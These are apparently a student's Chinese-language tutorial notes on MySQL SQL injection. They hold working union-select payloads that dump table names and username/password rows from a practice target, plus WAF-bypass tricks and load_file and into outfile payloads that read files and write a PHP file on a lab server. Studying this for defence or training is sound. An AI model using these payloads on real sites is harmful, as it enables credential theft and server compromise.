LOADING

加载过慢请开启缓存 浏览器默认开启

2024/5/5

1、sql注入原理

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。

其成因可归结为以下两个原理叠加造成:

1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。

2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

2、Mysql注入有关知识点

information_schema数据库中的几个关键的表

img

在表schema(数据库名)、tables(表名)、columns(列名或字段名)。

在schema表中,schema_name字段用来存储数据库名。

在tables表中,table_schema和table_name分别用来存储数据库名和表名。

在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
注释符:在Mysql 中常见的注释符表达式:
    #、--空格、/**/
内联注释:/*!SQL语句 */ 只有Mysql可以识别,常用来绕过WAF

例如:select * from articles where id = id
使用内联注释注入:select * from articles where id = -1 /*!union*/ /*!select*/ 1,2,3,4

mysql 常用的函数与参数

show databases; #查看数据库

use information_schema; #转到数据库information_schema

show tables; #查看当前数据库中的数据表

在这里插入图片描述在这里插入图片描述在这里插入图片描述

3、如何判断注入点?

3.1、老办法:

and 1=1 页面正常
and 1=2 页面错误
可能存在注入点

3.2、新办法:

select * from users where id=1daadda LIMIT 0,1
xxx/?id=1daadda 这样输入,如果对网站有影响,和原来网站有差别,证明他代入数据库查询了,证明了会有漏洞;如果没有差别,网站不检测你输入的参数即不能传递参数,说明没有漏洞。
如果报了404错误或跳转,说明网站对输入参数检测了,大部分没有漏洞。

3.3、猜解列名数量(字段数)

因为union联合查询字段数必须一样,否则会报错;
使用order by x(数字) 错误与正常的临界值,不断测试x直到页面错误;

例:219.153.49.228:42123/new_list.php?id=1 order by 4

order by 4没问题但是order by 5 的时候网页错误,所以一共有四列

在这里插入图片描述

3.4、报错猜解准备

由上面猜解字段数得到下面

http://219.153.49.228:42123/new_list.php?id=-1 union select 1,2,3,4

2和3有显示位,数据出来可以看见

在这里插入图片描述

3.5、开始信息收集

数据库版本:version() -> 5.7.22-0ubuntu0.16.04.1
数据库名字:database() -> mozhe_Discuz_StormGroup
数据库用户:user() -> root@localhost
操作系统:@@version_compile_os -> Linux

查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

在这里插入图片描述

查询指定表名StormGroup_member下的列名信息:

http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

查询指定表名StormGroup_member下的数据:

http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

在这里插入图片描述

猜解表下多个数据可以采用limit x,1

http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

跨库选择表:如果是跨库查询,需要在表前添加该表的数据库名称,否则会默认为当前库的表(xxx为表名)

如:http://219.153.49.228:43123/new_list.php?id=-1 union select 1,2,3,4  from notice.xxxx

4、SQL注入实现文件读写

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。

load_file(): 读取函数
into outfile 或者 into dumpfile:导出函数

路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等;

  • 报错显示

网站出现错误时,会显示路径;

在这里插入图片描述

  • 遗留文件

类似于phpinfo()文件,为了调试信息遗留的文件,命名一般为phpinfo()之类的;
可以用工具扫描到;

在这里插入图片描述

  • 漏洞报错

知道对方是用什么脚本程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径;

  • 平台位置文件

搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取;

1.常见读取文件列表

注:下述SQL语句的执行,必须依赖于数据库中secure_file_priv参数,该参数指定了数据库导入和导出的安全路径。
需要在mysql的配置文件my.ini文件添加secure_file_priv=‘’

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,load_file('d:/www.txt'),3

2.常见读取文件列表及写入文件问题:魔术引导开关

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,'x',3 into outfile 'C:\phpStudy\PHPTuorial\WWW\sqli-labs-master\x.php'--+

魔术引号magic_quotes_gpc是php安全机制开关,在php的配置文件php.ini修改
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,都不会被转义。这些转义是必须的。
在这里插入图片描述

绕过方法:可以采用编码或者宽字节,把路径进行十六进制编码,就不需要使用单引号,可以正常解析;

参考链接:

【小迪安全】完整详细笔记01-39天-CSDN博客

SQL注入详解-CSDN博客

SQL盲注 · 白帽与安全 · 看云 (kancloud.cn)